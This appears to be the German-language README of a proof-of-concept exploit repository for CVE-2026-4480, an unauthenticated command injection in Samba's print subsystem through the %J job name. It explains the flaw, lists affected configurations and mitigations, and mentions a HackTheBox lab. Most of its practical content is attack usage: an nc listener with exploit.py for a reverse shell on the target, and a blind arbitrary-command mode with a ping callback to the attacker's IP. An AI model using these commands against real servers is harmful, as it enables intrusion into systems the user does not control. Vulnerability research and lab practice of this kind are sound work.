
Proof-of-Concept-Exploit für CVE-2026-4480, eine nicht authentifizierte Remote-Befehlseinschleusung in Sambas Drucksubsystem über den %J-Jobnamen-Parameter. Enthält Reverse-Shell- und Blind-Befehlausführungsmodi.
%J) Injection PoCWichtig — Lesen Sie dies zuerst:
Dieses Repository undexploit.pywerden nur für Bildungs- und Forschungszwecke bereitgestellt. Verwenden Sie diesen Code nicht gegen Systeme, Netzwerke oder Dienste, für die Sie keine ausdrückliche schriftliche Genehmigung haben. Unautorisierter Zugriff auf Computersysteme ist illegal und unethisch. Durch die Nutzung dieses Codes stimmen Sie zu, die geltenden Gesetze und institutionellen Richtlinien einzuhalten.
Nicht authentifizierte entfernte Befehlsausführung im Samba-Drucksubsystem. Wenn ein Druckauftrag das Spooling beendet, führt Samba den konfigurierten print command über system() aus, wobei %s (Spool-Dateipfad) und %J (vom Client bereitgestellter Auftragsname) in den String eingesetzt werden. Vor dem Fix wurde der Auftragsname mit der einzigen Transformation ' → _ und nichts weiterem übergeben, sodass |, ;, &, Leerzeichen, <, > und Backticks alle die Shell erreichen. Ein print command, das %J referenziert, ist daher eine Shell-Injection-Senke, und da Gäste Druckaufträge einreichen können, ist das Problem pre-auth.
print command ausführen, der %J referenziert (printing = sysv-Stil). printing = cups / iprint gehen über die CUPS-API und sind nicht betroffen.sudo apt install python3-samba
print command %J referenziert.python3 exploit.py <rhost> <lhost> <lport> [-P PRINTER] [-c CMD]
# terminal 1: listener
nc -lvnp 4444
# terminal 2: fire the exploit
python3 exploit.py 10.129.244.177 10.10.14.100 4444
Sie sollten eine Shell als Druckdienstkonto (z.B. nobody) erhalten.
python3 exploit.py 10.129.244.177 x x -c 'id > /dev/shm/o 2>&1'
Da die Ausführung blind erfolgt (der Befehl wird serverseitig ausgeführt und liefert nichts auf dem RPC-Kanal zurück), bestätigen Sie ihn zuerst out-of-band, z.B. einen ICMP-Callback, den Sie mit tcpdump -ni tun0 icmp beobachten:
python3 exploit.py 10.129.244.177 x x -c 'ping -c 3 10.10.14.100'
print command = /usr/local/bin/print-helper %s '%J', entfernen Sie %J, oder wechseln Sie zu printing = cups.smbd gestarteten Shells (sh/bash/nc/python/curl) und dokumentieren Sie Namen, die Shell-Metazeichen enthalten.Ich habe eine Box auf HackTheBox namens Abducted erstellt, um die Schwachstelle zu demonstrieren und Ihnen ein praktisches Beispiel zu geben, wie Angreifer dies in einer falsch konfigurierten Umgebung ausnutzen könnten.
| Argument / Option | Bedeutung |
|---|
rhost | Ziel-Samba-Host / IP |
lhost | Ihre Listener-IP |
lport | Ihr Listener-Port |
-P, --printer | Name der Gäste-Druckerfreigabe (Standard: HP-Reception) |
-c, --cmd | Führe einen beliebigen Befehl statt einer Reverse-Shell aus |